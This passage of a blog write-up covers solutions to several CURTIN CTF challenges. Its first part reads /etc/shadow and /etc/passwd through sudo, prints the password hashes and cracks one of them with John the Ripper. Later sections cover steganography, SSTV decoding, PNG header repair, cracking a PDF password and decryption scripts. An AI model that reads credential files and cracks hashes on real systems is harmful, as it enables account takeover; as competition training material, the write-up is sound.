And we i get shell and saw the /etc/shadow and /etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ sudo /bin/more /etc/shadow
root:$y$j9T$LjZTEgG8Wxclg1N6XBZQW.$.5ACBOKFErAPNoOHpfgA1dpJSU0Fxp0vlkqdDH1c3l.:0:0::7:::
daemon:*:19993:0:99999:7:::
bin:*:19993:0:99999:7:::
sys:*:19993:0:99999:7:::
sync:*:19993:0:99999:7:::
games:*:19993:0:99999:7:::
man:*:19993:0:99999:7:::
lp:*:19993:0:99999:7:::
mail:*:19993:0:99999:7:::
news:*:19993:0:99999:7:::
uucp:*:19993:0:99999:7:::
proxy:*:19993:0:99999:7:::
www-data:*:19993:0:99999:7:::
backup:*:19993:0:99999:7:::
list:*:19993:0:99999:7:::
irc:*:19993:0:99999:7:::
_apt:*:19993:0:99999:7:::
nobody:*:19993:0:99999:7:::
systemd-network:!*:19993::::::
systemd-timesync:!*:19993::::::
dhcpcd:!:19993::::::
messagebus:!:19993::::::
syslog:!:19993::::::
systemd-resolve:!*:19993::::::
uuidd:!:19993::::::
tss:!:19993::::::
sshd:!:19993::::::
pollinate:!:19993::::::
tcpdump:!:19993::::::
landscape:!:19993::::::
fwupd-refresh:!*:19993::::::
polkitd:!*:19993::::::
ec2-instance-connect:!:19993::::::
_chrony:!:19993::::::
ubuntu:$y$j9T$LARgrAVr4DwXIbNL04hae/$8ugeIXS5HT/QFnSE/puWT321MhP0CxlRQTi3CBHxAA/:20008:0:99999:7:::
john:$y$j9T$cSetG9C7J5K20OZMEgrmU.$6mR190lLFUEE7U0/FCW9coJDCJD32tuXpCy2YAfgG/.:20008:0::7:::
lxd:!:20008::::::
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
$ sudo /bin/more /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:996:996:systemd Time Synchronization:/:/usr/sbin/nologin
dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false
messagebus:x:101:101::/nonexistent:/usr/sbin/nologin
syslog:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:991:991:systemd Resolver:/:/usr/sbin/nologin
uuidd:x:103:103::/run/uuidd:/usr/sbin/nologin
tss:x:104:104:TPM software stack,,,:/var/lib/tpm:/bin/false
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
pollinate:x:106:1::/var/cache/pollinate:/bin/false
tcpdump:x:107:108::/nonexistent:/usr/sbin/nologin
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:990:990:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
polkitd:x:989:989:User for polkitd:/:/usr/sbin/nologin
ec2-instance-connect:x:109:65534::/nonexistent:/usr/sbin/nologin
_chrony:x:110:112:Chrony daemon,,,:/var/lib/chrony:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
john:x:1001:1001:John Rodrigues,,,:/home/john:/bin/bash
lxd:x:999:105::/var/snap/lxd/common/lxd:/bin/false

So we have this two and we can use unshadow command

ref:https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password2]
└─$ ls
passwd  shadow  unshadow.txt

┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/password2]
└─$ john --single unshadow.txt --format=crypt
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:03 17.62% (ETA: 19:39:03) 0g/s 412.5p/s 412.5c/s 412.5C/s Johnrodrigues5..Johnf
0g 0:00:00:05 24.45% (ETA: 19:39:06) 0g/s 417.8p/s 417.8c/s 417.8C/s Ubuntuubuntu\..Ubuntu!!
0g 0:00:00:06 33.13% (ETA: 19:39:05) 0g/s 419.0p/s 419.0c/s 419.0C/s Ubuntuubuntu!!..wubuntuubuntu
0g 0:00:00:07 35.93% (ETA: 19:39:05) 0g/s 420.6p/s 420.6c/s 420.6C/s wuubuntu..Tuubuntu
0g 0:00:00:08 38.21% (ETA: 19:39:07) 0g/s 421.7p/s 421.7c/s 421.7C/s NjRodrigues..TJRodrigues
0g 0:00:00:09 40.93% (ETA: 19:39:08) 0g/s 422.2p/s 422.2c/s 422.2C/s .johnjohn..^john
RodriguEsJohn    (john)
Almost done: Processing the remaining buffered candidate passwords, if any.
1g 0:00:00:17 DONE (2024-10-13 19:39) 0.05810g/s 412.0p/s 416.2c/s 416.2C/s root1968..root1900
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Then we can obtain the flag of it which i dont manage to complet it in time because i fall asleep my bad :

1
flag:CURTIN_CTF{RodriguEsJohn}

18.TRANSPARENCY

So we are given the stego.png and i analyze using zsteg for this challenges

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ zsteg -a stego.png
imagedata           .. file: SVr2 curses screen image, big-endian
b1,rgba,lsb,xy      .. text: "gvfvfwvv"
b1,abgr,msb,xy      .. text: "vgfgfwgg"
b2,r,msb,xy         .. text: ["U" repeated 8 times]
b2,g,lsb,xy         .. text: ["U" repeated 8 times]
b2,g,msb,xy         .. text: ["U" repeated 10 times]
b2,b,lsb,xy         .. text: "UUUUUUUU_"
b2,a,lsb,xy         .. text: "t`/tB@LD7"
b2,rgba,lsb,xy      .. text: "IJHJIHIHIKJ"
b2,abgr,msb,xy      .. text: "WUVUWVWT"
b3p,r,lsb,xy        .. text: "JooooojJJ"
b3p,r,msb,xy        .. text: "VRR\tm[[[[[["
b3p,g,lsb,xy        .. text: "JooooojJJ"
b3p,g,msb,xy        .. text: "VRR\tm[[["
b3p,b,lsb,xy        .. text: "JooooojJJJl"
b3p,b,msb,xy        .. text: "VRRR6\t\t\t"
b3p,rgb,lsb,xy      .. text: "%%JJJooooooooooooooooJJJJJJJJ"
b3p,rgb,msb,xy      .. text: ["[" repeated 8 times]
b3p,bgr,lsb,xy      .. text: "%%JJJooooooooooooooooJJJJJJJJPPPuu"
b3p,bgr,msb,xy      .. text: ["[" repeated 8 times]
b3p,abgr,msb,xy     .. text: "_Z][^\\^X"
b4,r,lsb,xy         .. text: "\"33333333\"\"\"\"DEVfffffffffwwwwffffffffwwwwwwww"
b4,r,msb,xy         .. text: "jfffffffff"
b4,g,lsb,xy         .. text: "\"33333333\"\"\"\"DEVfffffUUUUffffUUUUUUUUffffffff"
b4,g,msb,xy         .. text: ["f" repeated 8 times]
b4,b,lsb,xy         .. text: "\"33333333\"\"\"\"\"#4DDDDD3333DDDD33333333DDDDDDDDfffffgx"
b4,b,msb,xy         .. text: "\"\"\"\"\"\"\"\"fffff"
b4,rgb,lsb,xy       .. text: "fff\"&f31"
b4,rgb,msb,xy       .. text: "HDf63\"bf"
b4,bgr,lsb,xy       .. text: "fff\"&f31"
b4,bgr,msb,xy       .. text: "HDf63\"bf"
b4,rgba,lsb,xy      .. text: "fdfi\"'fi34"
b4,abgr,msb,xy      .. text: "@Dff?3$\"jf"
b5p,r,lsb,xy        .. text: "$%.666666666????66666666????????IIIIIJS[jTaX"
b5p,r,msb,xy        .. text: "tlllllllll"
b5p,g,lsb,xy        .. text: "$%.66666----6666--------66666666@@@@@AJRjTaX"
b5p,g,msb,xy        .. text: ["l" repeated 8 times]
b5p,b,lsb,xy        .. text: "$$$$$$$$6666678@XBWN"
b5p,b,msb,xy        .. text: "$$$$$$$$lllll"
b5p,rgb,lsb,xy      .. text: "$$$--6666666666655555555>>>>>>>>5555555555555555>>>>>>>>>>>>>>>>HHHHHHHHHHHQQZZZmRRddI["
b5p,rgb,msb,xy      .. text: ["o" repeated 8 times]
b5p,bgr,lsb,xy      .. text: ["&" repeated 11 times]
b5p,bgr,msb,xy      .. text: ["o" repeated 8 times]
b5p,abgr,msb,xy     .. text: "~itnyrx`"
b6,r,msb,xy         .. text: "UUUUUUu]"
b6,g,msb,xy         .. text: "eUUmU5MY"
b6p,r,msb,xy        .. text: "iYYYYYYYYY"
b6p,g,msb,xy        .. text: ["Y" repeated 8 times]
b6p,b,msb,xy        .. text: "\t\t\t\t\t\t\t\tYYYYY"
b6p,rgb,lsb,xy      .. text: "ouzoZJEJZp"
b6p,rgb,msb,xy      .. text: ["^" repeated 8 times]
b6p,bgr,lsb,xy      .. text: "ouzoZJEJZp"
b6p,bgr,msb,xy      .. text: ["^" repeated 8 times]
b6p,abgr,msb,xy     .. text: "3}-)Kemi"
b7p,r,lsb,xy        .. text: "7=,\",HG.B@4X,=0"
b7p,r,msb,xy        .. text: "R222222222"
b7p,g,lsb,xy        .. text: "7=,\",HG.B@4X,=0"
b7p,g,msb,xy        .. text: "22222222\n\n\n\n\n"
b7p,b,lsb,xy        .. text: "7=,\",HG.B@4X,=0"
b7p,b,msb,xy        .. text: ["\n" repeated 8 times]
b7p,rgb,lsb,xy      .. text: "7;<7,$\#$,8HLG;/,C4@ 4(Xl,"
b7p,rgb,msb,xy      .. text: ["<" repeated 8 times]
b7p,bgr,lsb,xy      .. text: "7;<7,$\#$,8HLG;/,C4@ 4(Xl,"
b7p,bgr,msb,xy      .. text: ["<" repeated 8 times]
b7p,abgr,msb,xy     .. text: "3{'S;gKc"
b8,r,lsb,xy         .. text: [" " repeated 8 times]
b8,r,msb,xy         .. text: ["x" repeated 8 times]
b8,g,lsb,xy         .. text: [" " repeated 8 times]
b8,g,msb,xy         .. text: ["x" repeated 8 times]
b8,b,lsb,xy         .. text: [" " repeated 8 times]
b8,b,msb,xy         .. text: ["x" repeated 8 times]
b8,a,lsb,xy         .. text: "Digital forensics (sometimes known as digital forensic science) is a branch of forensic science encompassing the recovery, investigation, examination, and analysis of material found in digital devices, often in relation to mobile devices and computer crime"

then we need to spesify it with this command and we got the flag

1
2
3
4
5
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ zsteg -E b8,a,lsb,xy stego.png
Digital forensics (sometimes known as digital forensic science) is a branch of forensic science encompassing the recovery, investigation, examination, and analysis of material found in digital devices, often in relation to mobile devices and computer crime. The term 'digital forensics' was originally used as a synonym for computer forensics but has expanded to cover investigation of all devices capable of storing digital data. With roots in the personal computing revolution of the late 1970s and early 1980s, the discipline evolved in a haphazard manner during the 1990s, and it was not until the early 21st century that national policies emerged.

CURTIN_CTF{imagine_not_using_steghide}
1
flag:CURTIN_CTF{imagine_not_using_steghide}

19.CRAZY SIGNAL

So we are given a audio.mpeg so i heard and analyze it i found out its like SSTV because it related to alien sound so i reach this page

ref:https://github.com/colaclanth/sstv

And try so basically we need to change the file type for required the SSTV decoder tool so i change the audio mpeg to wav online

ref:https://cloudconvert.com/mpeg-to-wav

And follow the command from the github

1
2
3
4
5
6
7
8
9
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf/sstv]
└─$ sstv -d /home/hackboredzz/curtinctf/flag.wav -o result.png
[sstv] Searching for calibration header... Found!
[sstv] Detected SSTV mode Robot 36
[sstv] Decoding image...   [###################################################################.]  99%
[sstv] Reached end of audio whilst decoding.
[sstv] Drawing image data...
[sstv] ...Done!

image 13

We got the qrcode and i use cyberchef to get the flag

image 14

1
flag:CURTIN_CTF{SP4C3_EXPL0RERS_MU5T_KNOW_AB0U7_SSTV}

20.IHEADER

So we gonna use hex editor to check the file signature related to the title

So i found this and try it.

ref:https://ctftime.org/writeup/23809

And i follow and i check there is something fishy because it contains

1
2
3
41 41 41 41 (AAAA)
42 42 42 42 (BBBB)

So we need to change that to

1
2
49 48 44 52 (IHDR) 
49 44 41 54 (IDAT)

image 15 image 16

And save the file

image 17

We gotta fix this and get the flag

1
flag:CURTIN_CTF{m4gic_byt3s_are_s0_mag1cal}

24.CRACKED PDF

So we are given the pdf file with a password protected so we gonna use john to crack it

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ pdf2john cracked.pdf
cracked.pdf:$pdf$5*6*256*-4*1*16*91a8bafd3041e1637913de91e5bf2883*48*30ff892c8822ea4923c10cbb4118f94403de36b2764e46e6e96a632b45dda0f9831f7dfe2888fc326605ba75b5ad6390*48*223370c6628184c5b08a1fe6586e81c2cc48fce3dd70fec01a7bcd423fa6d13dc8c27382d7c7301acc2974bc14e1205a*32*e495f86cf0670d3a2ac2be23f4807ba237a3d652a11054ce80b3b3ed14141b44*32*6fa21f7f4670c7c004acbba2cf095db2667083ac4d960e20851fc08b36e03d69
1
2
3
4
5
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ john --show cracked.txt
cracked.pdf:PRETTY

1 password hash cracked, 0 left

So we got the password which is :PRETTY when we open the pdf it contains some . _

And using this tools it help me get the flag

ref:https://scwf.dima.ninja/

image 18

1
flag:CURTIN_CTF{UNDERST4NDING_WH1TE_SP4CES_IS_IMP0RT4NT}

25.EXTENSION

so we are given .zip file but we cannot open it so i wrote a python code to get the flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import zipfile
import os
import base64

# Function to extract a zip file with an optional password
def extract_zip(zip_path, extract_to, password=None):
    with zipfile.ZipFile(zip_path, 'r') as zip_ref:
        if password:
            zip_ref.extractall(extract_to, pwd=bytes(password, 'utf-8'))
        else:
            zip_ref.extractall(extract_to)

# Paths to the files
zip_file_path = 'flag (4).zip'
extract_dir = 'extracted_files'
flag_extract_dir = 'flag_extracted'

# Step 1: Extract the initial zip file
os.makedirs(extract_dir, exist_ok=True)
extract_zip(zip_file_path, extract_dir)

# Step 2: Read the password from the 'password' file
password_file_path = os.path.join(extract_dir, 'password')
with open(password_file_path, 'r') as password_file:
    password = password_file.read().strip()

# Step 3: Extract the flag.zip file using the password
flag_zip_path = os.path.join(extract_dir, 'flag.zip')
os.makedirs(flag_extract_dir, exist_ok=True)
extract_zip(flag_zip_path, flag_extract_dir, password)

# Step 4: Read and decode the flag
flag_file_path = os.path.join(flag_extract_dir, 'flag')
with open(flag_file_path, 'r') as flag_file:
    flag_content = flag_file.read()

# Decode the base64-encoded flag
decoded_flag = base64.b64decode(flag_content).decode('utf-8')

# Output the flag
print(f"The hidden flag is: {decoded_flag}")

then exeecute the code we got the flag

1
2
3
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 extension.py
The hidden flag is: CURTIN_CTF{FLAG_EXTR4CTED_MiSS1ON_ACC0MPLISHED}

26.TRIVIAL 1

we got the file and thre is a long value of prime there so i wrote a pythons scirpt to decode it

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from sympy import mod_inverse

# Insert your encrypted flag here
encrypted_flag = [
    # Put your long encrypted flag values here
]

# Insert your prime list here
prime_list = [
    # Put your long prime numbers list here
]

def decrypt_with_known_format(encrypted_values, primes, key):
    decrypted_chars = []
    for encrypted_val in encrypted_values:
        # Reverse the encryption process for each encrypted value
        for prime in reversed(primes):
            encrypted_val ^= key  # Reverse XOR
            encrypted_val = encrypted_val // prime  # Reverse multiplication
        decrypted_chars.append(chr(encrypted_val))
    return ''.join(decrypted_chars)

# Known flag format: "CURTIN_CTF{"
known_flag_start = "CURTIN_CTF{"

# Brute-force over the possible key values (from 1 to 100)
for key in range(1, 101):
    try:
        # Check if we get the correct start of the flag
        flag = decrypt_with_known_format(encrypted_flag[:len(known_flag_start)], prime_list, key)
        if flag == known_flag_start:
            print(f"Correct key found: {key}")
            # Now that we've found the correct key, decrypt the entire flag
            full_flag = decrypt_with_known_format(encrypted_flag, prime_list, key)
            print(f"Decrypted flag: {full_flag}")
            break
    except Exception as e:
        continue  # Ignore any errors and continue brute-forcing the key
1
2
3
4
┌──(hackboredzz㉿hackboredzz)-[~/curtinctf]
└─$ python3 trivial2.py
Correct key found: 23
Decrypted flag: CURTIN_CTF{h4v3_y0u_s33n_op71mu5_pr1m3}

Conclusion

thank you to my teamate members which is @n3r and @ichimon for gathering with me solving CURTIN CTF. We end at 5th place of this competition hehehe..

image 19 image 20 image 21

This post is licensed under CC BY 4.0 by the author.